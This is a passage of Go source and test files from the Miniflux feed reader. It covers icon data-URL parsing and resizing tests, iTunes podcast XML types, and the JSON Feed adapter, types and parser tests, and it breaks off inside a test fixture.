t.Fatal(`Image hash should be computed`)
}
}
func TestParseImageDataURLWithNoEncoding(t *testing.T) {
iconURL := `data:image/webp,%3Ch1%3EHello%2C%20World%21%3C%2Fh1%3E`
icon, err := parseImageDataURL(iconURL)
if err != nil {
t.Fatalf(`We should be able to parse valid data URL: %v`, err)
}
if icon.MimeType != "image/webp" {
t.Fatal(`Invalid mime type parsed`)
}
if string(icon.Content) == "Hello, World!" {
t.Fatal(`Value should be URL-decoded`)
}
if icon.Hash == "" {
t.Fatal(`Image hash should be computed`)
}
}
func TestParseImageWithRawSVGEncodedInUTF8(t *testing.T) {
iconURL := `data:image/svg+xml;utf8,`
icon, err := parseImageDataURL(iconURL)
if err != nil {
t.Fatalf(`We should be able to parse valid data URL: %v`, err)
}
if icon.MimeType != "image/svg+xml" {
t.Fatal(`Invalid mime type parsed`)
}
if icon.Hash == "" {
t.Fatal(`Image hash should be computed`)
}
if string(icon.Content) != `` {
t.Fatal(`Invalid SVG content`)
}
}
func TestParseImageDataURLWithNoMediaTypeAndNoEncoding(t *testing.T) {
iconURL := `data:,Hello%2C%20World%21`
_, err := parseImageDataURL(iconURL)
if err == nil {
t.Fatal(`We should detect invalid mime type`)
}
}
func TestParseInvalidImageDataURLWithBadMimeType(t *testing.T) {
_, err := parseImageDataURL("data:text/plain;base64,blob")
if err == nil {
t.Fatal(`We should detect invalid mime type`)
}
}
func TestParseInvalidImageDataURLWithUnsupportedEncoding(t *testing.T) {
_, err := parseImageDataURL("data:image/png;base32,blob")
if err == nil {
t.Fatal(`We should detect unsupported encoding`)
}
}
func TestParseInvalidImageDataURLWithNoData(t *testing.T) {
_, err := parseImageDataURL("data:image/png;base64,")
if err == nil {
t.Fatal(`We should detect invalid encoded data`)
}
}
func TestParseInvalidImageDataURL(t *testing.T) {
_, err := parseImageDataURL("data:image/jpeg")
if err == nil {
t.Fatal(`We should detect malformed image data URL`)
}
}
func TestParseInvalidImageDataURLWithWrongPrefix(t *testing.T) {
_, err := parseImageDataURL("data,test")
if err == nil {
t.Fatal(`We should detect malformed image data URL`)
}
}
func TestParseDocumentWithWhitespaceIconURL(t *testing.T) {
html := ``
iconURLs, err := findIconURLsFromHTMLDocument(strings.NewReader(html), "text/html")
if err != nil {
t.Fatal(err)
}
if len(iconURLs) != 1 {
t.Fatalf(`Invalid number of icon URLs, got %d`, len(iconURLs))
}
if iconURLs[0] != "/static/img/favicon.ico" {
t.Errorf(`Invalid icon URL, got %q`, iconURLs[0])
}
}
func TestResizeIconSmallGif(t *testing.T) {
data, err := base64.StdEncoding.DecodeString("R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==")
if err != nil {
t.Fatal(err)
}
icon := model.Icon{
Content: data,
MimeType: "image/gif",
}
if !bytes.Equal(icon.Content, resizeIcon(&icon).Content) {
t.Fatalf("Converted gif smaller than 16x16")
}
}
func TestResizeIconPng(t *testing.T) {
data, err := base64.StdEncoding.DecodeString("iVBORw0KGgoAAAANSUhEUgAAACEAAAAhCAYAAABX5MJvAAAALUlEQVR42u3OMQEAAAgDoJnc6BpjDyRgcrcpGwkJCQkJCQkJCQkJCQkJCYmyB7NfUj/Kk4FkAAAAAElFTkSuQmCC")
if err != nil {
t.Fatal(err)
}
icon := model.Icon{
Content: data,
MimeType: "image/png",
}
resizedIcon := resizeIcon(&icon)
if bytes.Equal(data, resizedIcon.Content) {
t.Fatalf("Didn't convert png of 33x33")
}
config, _, err := image.DecodeConfig(bytes.NewReader(resizedIcon.Content))
if err != nil {
t.Fatalf("Couln't decode resulting png: %v", err)
}
if config.Height != 32 || config.Width != 32 {
t.Fatalf("Was expecting an image of 16x16, got %dx%d", config.Width, config.Height)
}
}
func TestResizeInvalidImage(t *testing.T) {
icon := model.Icon{
Content: []byte("invalid data"),
MimeType: "image/gif",
}
if !bytes.Equal(icon.Content, resizeIcon(&icon).Content) {
t.Fatalf("Tried to convert an invalid image")
}
}
v2-2.2.5/internal/reader/itunes/ 0000775 0000000 0000000 00000000000 14743520056 0016442 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/itunes/itunes.go 0000664 0000000 0000000 00000006767 14743520056 0020320 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package itunes // import "miniflux.app/v2/internal/reader/itunes"
import "strings"
// Specs: https://help.apple.com/itc/podcasts_connect/#/itcb54353390
type ItunesChannelElement struct {
ItunesAuthor string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd author"`
ItunesBlock string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd block"`
ItunesCategories []ItunesCategoryElement `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd category"`
ItunesComplete string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd complete"`
ItunesCopyright string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd copyright"`
ItunesExplicit string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd explicit"`
ItunesImage ItunesImageElement `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd image"`
Keywords string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd keywords"`
ItunesNewFeedURL string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd new-feed-url"`
ItunesOwner ItunesOwnerElement `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd owner"`
ItunesSummary string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd summary"`
ItunesTitle string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd title"`
ItunesType string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd type"`
}
func (i *ItunesChannelElement) GetItunesCategories() []string {
var categories []string
for _, category := range i.ItunesCategories {
categories = append(categories, category.Text)
if category.SubCategory != nil {
categories = append(categories, category.SubCategory.Text)
}
}
return categories
}
type ItunesItemElement struct {
ItunesAuthor string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd author"`
ItunesEpisode string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd episode"`
ItunesEpisodeType string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd episodeType"`
ItunesExplicit string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd explicit"`
ItunesDuration string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd duration"`
ItunesImage ItunesImageElement `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd image"`
ItunesSeason string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd season"`
ItunesSubtitle string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd subtitle"`
ItunesSummary string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd summary"`
ItunesTitle string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd title"`
ItunesTranscript string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd transcript"`
}
type ItunesImageElement struct {
Href string `xml:"href,attr"`
}
type ItunesCategoryElement struct {
Text string `xml:"text,attr"`
SubCategory *ItunesCategoryElement `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd category"`
}
type ItunesOwnerElement struct {
Name string `xml:"name"`
Email string `xml:"email"`
}
func (i *ItunesOwnerElement) String() string {
var name string
switch {
case i.Name != "":
name = i.Name
case i.Email != "":
name = i.Email
}
return strings.TrimSpace(name)
}
v2-2.2.5/internal/reader/json/ 0000775 0000000 0000000 00000000000 14743520056 0016104 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/json/adapter.go 0000664 0000000 0000000 00000010612 14743520056 0020053 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package json // import "miniflux.app/v2/internal/reader/json"
import (
"log/slog"
"slices"
"strings"
"time"
"miniflux.app/v2/internal/crypto"
"miniflux.app/v2/internal/model"
"miniflux.app/v2/internal/reader/date"
"miniflux.app/v2/internal/reader/sanitizer"
"miniflux.app/v2/internal/urllib"
)
type JSONAdapter struct {
jsonFeed *JSONFeed
}
func NewJSONAdapter(jsonFeed *JSONFeed) *JSONAdapter {
return &JSONAdapter{jsonFeed}
}
func (j *JSONAdapter) BuildFeed(baseURL string) *model.Feed {
feed := &model.Feed{
Title: strings.TrimSpace(j.jsonFeed.Title),
FeedURL: strings.TrimSpace(j.jsonFeed.FeedURL),
SiteURL: strings.TrimSpace(j.jsonFeed.HomePageURL),
}
if feed.FeedURL == "" {
feed.FeedURL = strings.TrimSpace(baseURL)
}
// Fallback to the feed URL if the site URL is empty.
if feed.SiteURL == "" {
feed.SiteURL = feed.FeedURL
}
if feedURL, err := urllib.AbsoluteURL(baseURL, feed.FeedURL); err == nil {
feed.FeedURL = feedURL
}
if siteURL, err := urllib.AbsoluteURL(baseURL, feed.SiteURL); err == nil {
feed.SiteURL = siteURL
}
// Fallback to the feed URL if the title is empty.
if feed.Title == "" {
feed.Title = feed.SiteURL
}
// Populate the icon URL if present.
for _, iconURL := range []string{j.jsonFeed.FaviconURL, j.jsonFeed.IconURL} {
iconURL = strings.TrimSpace(iconURL)
if iconURL != "" {
if absoluteIconURL, err := urllib.AbsoluteURL(feed.SiteURL, iconURL); err == nil {
feed.IconURL = absoluteIconURL
break
}
}
}
for _, item := range j.jsonFeed.Items {
entry := model.NewEntry()
entry.Title = strings.TrimSpace(item.Title)
entry.URL = strings.TrimSpace(item.URL)
// Make sure the entry URL is absolute.
if entryURL, err := urllib.AbsoluteURL(feed.SiteURL, entry.URL); err == nil {
entry.URL = entryURL
}
// The entry title is optional, so we need to find a fallback.
if entry.Title == "" {
for _, value := range []string{item.Summary, item.ContentText, item.ContentHTML} {
if value != "" {
entry.Title = sanitizer.TruncateHTML(value, 100)
}
}
}
// Fallback to the entry URL if the title is empty.
if entry.Title == "" {
entry.Title = entry.URL
}
// Populate the entry content.
for _, value := range []string{item.ContentHTML, item.ContentText, item.Summary} {
value = strings.TrimSpace(value)
if value != "" {
entry.Content = value
break
}
}
// Populate the entry date.
for _, value := range []string{item.DatePublished, item.DateModified} {
value = strings.TrimSpace(value)
if value != "" {
if date, err := date.Parse(value); err != nil {
slog.Debug("Unable to parse date from JSON feed",
slog.String("date", value),
slog.String("url", entry.URL),
slog.Any("error", err),
)
} else {
entry.Date = date
break
}
}
}
if entry.Date.IsZero() {
entry.Date = time.Now()
}
// Populate the entry author.
itemAuthors := j.jsonFeed.Authors
itemAuthors = append(itemAuthors, item.Authors...)
itemAuthors = append(itemAuthors, item.Author, j.jsonFeed.Author)
var authorNames []string
for _, author := range itemAuthors {
authorName := strings.TrimSpace(author.Name)
if authorName != "" {
authorNames = append(authorNames, authorName)
}
}
slices.Sort(authorNames)
authorNames = slices.Compact(authorNames)
entry.Author = strings.Join(authorNames, ", ")
// Populate the entry enclosures.
for _, attachment := range item.Attachments {
attachmentURL := strings.TrimSpace(attachment.URL)
if attachmentURL != "" {
if absoluteAttachmentURL, err := urllib.AbsoluteURL(feed.SiteURL, attachmentURL); err == nil {
entry.Enclosures = append(entry.Enclosures, &model.Enclosure{
URL: absoluteAttachmentURL,
MimeType: attachment.MimeType,
Size: attachment.Size,
})
}
}
}
// Populate the entry tags.
for _, tag := range item.Tags {
tag = strings.TrimSpace(tag)
if tag != "" {
entry.Tags = append(entry.Tags, tag)
}
}
// Generate a hash for the entry.
for _, value := range []string{item.ID, item.URL, item.ContentText + item.ContentHTML + item.Summary} {
value = strings.TrimSpace(value)
if value != "" {
entry.Hash = crypto.Hash(value)
break
}
}
feed.Entries = append(feed.Entries, entry)
}
return feed
}
v2-2.2.5/internal/reader/json/json.go 0000664 0000000 0000000 00000011343 14743520056 0017406 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package json // import "miniflux.app/v2/internal/reader/json"
// JSON Feed specs:
// https://www.jsonfeed.org/version/1.1/
// https://www.jsonfeed.org/version/1/
type JSONFeed struct {
// Version is the URL of the version of the format the feed uses.
// This should appear at the very top, though we recognize that not all JSON generators allow for ordering.
Version string `json:"version"`
// Title is the name of the feed, which will often correspond to the name of the website.
Title string `json:"title"`
// HomePageURL is the URL of the resource that the feed describes.
// This resource may or may not actually be a “home” page, but it should be an HTML page.
HomePageURL string `json:"home_page_url"`
// FeedURL is the URL of the feed, and serves as the unique identifier for the feed.
FeedURL string `json:"feed_url"`
// Description provides more detail, beyond the title, on what the feed is about.
Description string `json:"description"`
// IconURL is the URL of an image for the feed suitable to be used in a timeline, much the way an avatar might be used.
IconURL string `json:"icon"`
// FaviconURL is the URL of an image for the feed suitable to be used in a source list. It should be square and relatively small.
FaviconURL string `json:"favicon"`
// Authors specifies one or more feed authors. The author object has several members.
Authors []JSONAuthor `json:"authors"` // JSON Feed v1.1
// Author specifies the feed author. The author object has several members.
// JSON Feed v1 (deprecated)
Author JSONAuthor `json:"author"`
// Language is the primary language for the feed in the format specified in RFC 5646.
// The value is usually a 2-letter language tag from ISO 639-1, optionally followed by a region tag. (Examples: en or en-US.)
Language string `json:"language"`
// Expired is a boolean value that specifies whether or not the feed is finished.
Expired bool `json:"expired"`
// Items is an array, each representing an individual item in the feed.
Items []JSONItem `json:"items"`
// Hubs describes endpoints that can be used to subscribe to real-time notifications from the publisher of this feed.
Hubs []JSONHub `json:"hubs"`
}
type JSONAuthor struct {
// Author's name.
Name string `json:"name"`
// Author's website URL (Blog or micro-blog).
WebsiteURL string `json:"url"`
// Author's avatar URL.
AvatarURL string `json:"avatar"`
}
type JSONHub struct {
// Type defines the protocol used to talk with the hub: "rssCloud" or "WebSub".
Type string `json:"type"`
// URL is the location of the hub.
URL string `json:"url"`
}
type JSONItem struct {
// Unique identifier for the item.
// Ideally, the id is the full URL of the resource described by the item, since URLs make great unique identifiers.
ID string `json:"id"`
// URL of the resource described by the item.
URL string `json:"url"`
// ExternalURL is the URL of a page elsewhere.
// This is especially useful for linkblogs.
// If url links to where you’re talking about a thing, then external_url links to the thing you’re talking about.
ExternalURL string `json:"external_url"`
// Title of the item (optional).
// Microblog items in particular may omit titles.
Title string `json:"title"`
// ContentHTML is the HTML body of the item.
ContentHTML string `json:"content_html"`
// ContentText is the text body of the item.
ContentText string `json:"content_text"`
// Summary is a plain text sentence or two describing the item.
Summary string `json:"summary"`
// ImageURL is the URL of the main image for the item.
ImageURL string `json:"image"`
// BannerImageURL is the URL of an image to use as a banner.
BannerImageURL string `json:"banner_image"`
// DatePublished is the date the item was published.
DatePublished string `json:"date_published"`
// DateModified is the date the item was modified.
DateModified string `json:"date_modified"`
// Language is the language of the item.
Language string `json:"language"`
// Authors is an array of JSONAuthor.
Authors []JSONAuthor `json:"authors"`
// Author is a JSONAuthor.
// JSON Feed v1 (deprecated)
Author JSONAuthor `json:"author"`
// Tags is an array of strings.
Tags []string `json:"tags"`
// Attachments is an array of JSONAttachment.
Attachments []JSONAttachment `json:"attachments"`
}
type JSONAttachment struct {
// URL of the attachment.
URL string `json:"url"`
// MIME type of the attachment.
MimeType string `json:"mime_type"`
// Title of the attachment.
Title string `json:"title"`
// Size of the attachment in bytes.
Size int64 `json:"size_in_bytes"`
// Duration of the attachment in seconds.
Duration int `json:"duration_in_seconds"`
}
v2-2.2.5/internal/reader/json/parser.go 0000664 0000000 0000000 00000001135 14743520056 0017727 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package json // import "miniflux.app/v2/internal/reader/json"
import (
"encoding/json"
"fmt"
"io"
"miniflux.app/v2/internal/model"
)
// Parse returns a normalized feed struct from a JSON feed.
func Parse(baseURL string, data io.Reader) (*model.Feed, error) {
jsonFeed := new(JSONFeed)
if err := json.NewDecoder(data).Decode(&jsonFeed); err != nil {
return nil, fmt.Errorf("json: unable to parse feed: %w", err)
}
return NewJSONAdapter(jsonFeed).BuildFeed(baseURL), nil
}
v2-2.2.5/internal/reader/json/parser_test.go 0000664 0000000 0000000 00000061764 14743520056 0021004 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package json // import "miniflux.app/v2/internal/reader/json"
import (
"bytes"
"strings"
"testing"
"time"
)
func TestParseJsonFeedVersion1(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"icon": "https://micro.blog/jsonfeed/avatar.jpg",
"favicon": "https://micro.blog/jsonfeed/favicon.png",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"id": "2",
"content_text": "This is a second item.",
"url": "https://example.org/second-item"
},
{
"id": "1",
"content_html": "
Hello, world!
",
"url": "https://example.org/initial-post"
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if feed.Title != "My Example Feed" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
if feed.FeedURL != "https://example.org/feed.json" {
t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL)
}
if feed.SiteURL != "https://example.org/" {
t.Errorf("Incorrect site URL, got: %s", feed.SiteURL)
}
if feed.IconURL != "https://micro.blog/jsonfeed/favicon.png" {
t.Errorf("Incorrect icon URL, got: %s", feed.IconURL)
}
if len(feed.Entries) != 2 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Hash != "d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35" {
t.Errorf("Incorrect entry hash, got: %s", feed.Entries[0].Hash)
}
if feed.Entries[0].URL != "https://example.org/second-item" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
if feed.Entries[0].Title != "This is a second item." {
t.Errorf(`Incorrect entry title, got: "%s"`, feed.Entries[0].Title)
}
if feed.Entries[0].Content != "This is a second item." {
t.Errorf("Incorrect entry content, got: %s", feed.Entries[0].Content)
}
if feed.Entries[1].Hash != "6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b" {
t.Errorf("Incorrect entry hash, got: %s", feed.Entries[1].Hash)
}
if feed.Entries[1].URL != "https://example.org/initial-post" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[1].URL)
}
if feed.Entries[1].Title != "Hello, world!" {
t.Errorf(`Incorrect entry title, got: "%s"`, feed.Entries[1].Title)
}
if feed.Entries[1].Content != "
Hello, world!
" {
t.Errorf("Incorrect entry content, got: %s", feed.Entries[1].Content)
}
}
func TestParsePodcast(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"user_comment": "This is a podcast feed. You can add this feed to your podcast client using the following URL: http://therecord.co/feed.json",
"title": "The Record",
"home_page_url": "http://therecord.co/",
"feed_url": "http://therecord.co/feed.json",
"items": [
{
"id": "http://therecord.co/chris-parrish",
"title": "Special #1 - Chris Parrish",
"url": "http://therecord.co/chris-parrish",
"content_text": "Chris has worked at Adobe and as a founder of Rogue Sheep, which won an Apple Design Award for Postage. Chris’s new company is Aged & Distilled with Guy English — which shipped Napkin, a Mac app for visual collaboration. Chris is also the co-host of The Record. He lives on Bainbridge Island, a quick ferry ride from Seattle.",
"content_html": "Chris has worked at Adobe and as a founder of Rogue Sheep, which won an Apple Design Award for Postage. Chris’s new company is Aged & Distilled with Guy English — which shipped Napkin, a Mac app for visual collaboration. Chris is also the co-host of The Record. He lives on Bainbridge Island, a quick ferry ride from Seattle.",
"summary": "Brent interviews Chris Parrish, co-host of The Record and one-half of Aged & Distilled.",
"date_published": "2014-05-09T14:04:00-07:00",
"attachments": [
{
"url": "http://therecord.co/downloads/The-Record-sp1e1-ChrisParrish.m4a",
"mime_type": "audio/x-m4a",
"size_in_bytes": 89970236,
"duration_in_seconds": 6629
}
]
}
]
}`
feed, err := Parse("http://therecord.co/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if feed.Title != "The Record" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
if feed.FeedURL != "http://therecord.co/feed.json" {
t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL)
}
if feed.SiteURL != "http://therecord.co/" {
t.Errorf("Incorrect site URL, got: %s", feed.SiteURL)
}
if len(feed.Entries) != 1 {
t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Hash != "6b678e57962a1b001e4e873756563cdc08bbd06ca561e764e0baa9a382485797" {
t.Errorf("Incorrect entry hash, got: %s", feed.Entries[0].Hash)
}
if feed.Entries[0].URL != "http://therecord.co/chris-parrish" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
if feed.Entries[0].Title != "Special #1 - Chris Parrish" {
t.Errorf(`Incorrect entry title, got: "%s"`, feed.Entries[0].Title)
}
if feed.Entries[0].Content != `Chris has worked at Adobe and as a founder of Rogue Sheep, which won an Apple Design Award for Postage. Chris’s new company is Aged & Distilled with Guy English — which shipped Napkin, a Mac app for visual collaboration. Chris is also the co-host of The Record. He lives on Bainbridge Island, a quick ferry ride from Seattle.` {
t.Errorf(`Incorrect entry content, got: "%s"`, feed.Entries[0].Content)
}
location, _ := time.LoadLocation("America/Vancouver")
if !feed.Entries[0].Date.Equal(time.Date(2014, time.May, 9, 14, 4, 0, 0, location)) {
t.Errorf("Incorrect entry date, got: %v", feed.Entries[0].Date)
}
if len(feed.Entries[0].Enclosures) != 1 {
t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures))
}
if feed.Entries[0].Enclosures[0].URL != "http://therecord.co/downloads/The-Record-sp1e1-ChrisParrish.m4a" {
t.Errorf("Incorrect enclosure URL, got: %s", feed.Entries[0].Enclosures[0].URL)
}
if feed.Entries[0].Enclosures[0].MimeType != "audio/x-m4a" {
t.Errorf("Incorrect enclosure type, got: %s", feed.Entries[0].Enclosures[0].MimeType)
}
if feed.Entries[0].Enclosures[0].Size != 89970236 {
t.Errorf("Incorrect enclosure length, got: %d", feed.Entries[0].Enclosures[0].Size)
}
}
func TestParseFeedWithFeedURLWithTrailingSpace(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json ",
"items": []
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if feed.FeedURL != "https://example.org/feed.json" {
t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL)
}
}
func TestParseFeedWithRelativeFeedURL(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "https://example.org/",
"feed_url": "/feed.json",
"items": []
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if feed.FeedURL != "https://example.org/feed.json" {
t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL)
}
}
func TestParseFeedSiteURLWithTrailingSpace(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "https://example.org/ ",
"feed_url": "https://example.org/feed.json",
"items": []
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if feed.SiteURL != "https://example.org/" {
t.Errorf("Incorrect site URL, got: %s", feed.SiteURL)
}
}
func TestParseFeedWithRelativeSiteURL(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "/home ",
"feed_url": "https://example.org/feed.json",
"items": []
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if feed.SiteURL != "https://example.org/home" {
t.Errorf("Incorrect site URL, got: %s", feed.SiteURL)
}
}
func TestParseFeedWithoutTitle(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"id": "2347259",
"url": "https://example.org/2347259",
"content_text": "Cats are neat. \n\nhttps://example.org/cats",
"date_published": "2016-02-09T14:22:00-07:00"
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if feed.Title != "https://example.org/" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
}
func TestParseFeedWithoutHomePage(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"feed_url": "https://example.org/feed.json",
"title": "Some test",
"items": [
{
"id": "2347259",
"url": "https://example.org/2347259",
"content_text": "Cats are neat. \n\nhttps://example.org/cats",
"date_published": "2016-02-09T14:22:00-07:00"
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if feed.SiteURL != "https://example.org/feed.json" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
}
func TestParseFeedWithoutFeedURL(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "Some test",
"items": [
{
"id": "2347259",
"url": "https://example.org/2347259",
"content_text": "Cats are neat. \n\nhttps://example.org/cats",
"date_published": "2016-02-09T14:22:00-07:00"
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if feed.SiteURL != "https://example.org/feed.json" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
}
func TestParseItemWithoutAttachmentURL(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"user_comment": "This is a podcast feed. You can add this feed to your podcast client using the following URL: http://therecord.co/feed.json",
"title": "The Record",
"home_page_url": "http://therecord.co/",
"feed_url": "http://therecord.co/feed.json",
"items": [
{
"id": "http://therecord.co/chris-parrish",
"title": "Special #1 - Chris Parrish",
"url": "http://therecord.co/chris-parrish",
"content_text": "Chris has worked at Adobe and as a founder of Rogue Sheep, which won an Apple Design Award for Postage. Chris’s new company is Aged & Distilled with Guy English — which shipped Napkin, a Mac app for visual collaboration. Chris is also the co-host of The Record. He lives on Bainbridge Island, a quick ferry ride from Seattle.",
"date_published": "2014-05-09T14:04:00-07:00",
"attachments": [
{
"url": "",
"mime_type": "audio/x-m4a",
"size_in_bytes": 0
}
]
}
]
}`
feed, err := Parse("http://therecord.co/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if len(feed.Entries[0].Enclosures) != 0 {
t.Errorf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures))
}
}
func TestParseItemWithRelativeURL(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "Example",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"id": "2347259",
"url": "something.html",
"date_published": "2016-02-09T14:22:00-07:00"
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].URL != "https://example.org/something.html" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
}
func TestParseItemWithLegacyAuthorField(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"user_comment": "This is a microblog feed. You can add this to your feed reader using the following URL: https://example.org/feed.json",
"title": "Brent Simmons’s Microblog",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"author": {
"name": "Brent Simmons",
"url": "http://example.org/",
"avatar": "https://example.org/avatar.png"
},
"items": [
{
"id": "2347259",
"url": "https://example.org/2347259",
"content_text": "Cats are neat. \n\nhttps://example.org/cats",
"date_published": "2016-02-09T14:22:00-07:00"
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Author != "Brent Simmons" {
t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author)
}
}
func TestParseItemWithMultipleAuthorFields(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1.1",
"user_comment": "This is a microblog feed. You can add this to your feed reader using the following URL: https://example.org/feed.json",
"title": "Brent Simmons’s Microblog",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"author": {
"name": "Deprecated Author Field",
"url": "http://example.org/",
"avatar": "https://example.org/avatar.png"
},
"authors": [
{
"name": "Brent Simmons",
"url": "http://example.org/",
"avatar": "https://example.org/avatar.png"
}
],
"items": [
{
"id": "2347259",
"url": "https://example.org/2347259",
"content_text": "Cats are neat. \n\nhttps://example.org/cats",
"date_published": "2016-02-09T14:22:00-07:00"
}
]
}`
feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Author != "Brent Simmons, Deprecated Author Field" {
t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author)
}
}
func TestParseItemWithMultipleDuplicateAuthors(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1.1",
"title": "Example",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"id": "2347259",
"url": "https://example.org/2347259",
"content_text": "Cats are neat. \n\nhttps://example.org/cats",
"date_published": "2016-02-09T14:22:00-07:00",
"authors": [
{
"name": "Author B",
"url": "http://example.org/",
"avatar": "https://example.org/avatar.png"
},
{
"name": "Author A",
"url": "http://example.org/",
"avatar": "https://example.org/avatar.png"
},
{
"name": "Author B",
"url": "http://example.org/",
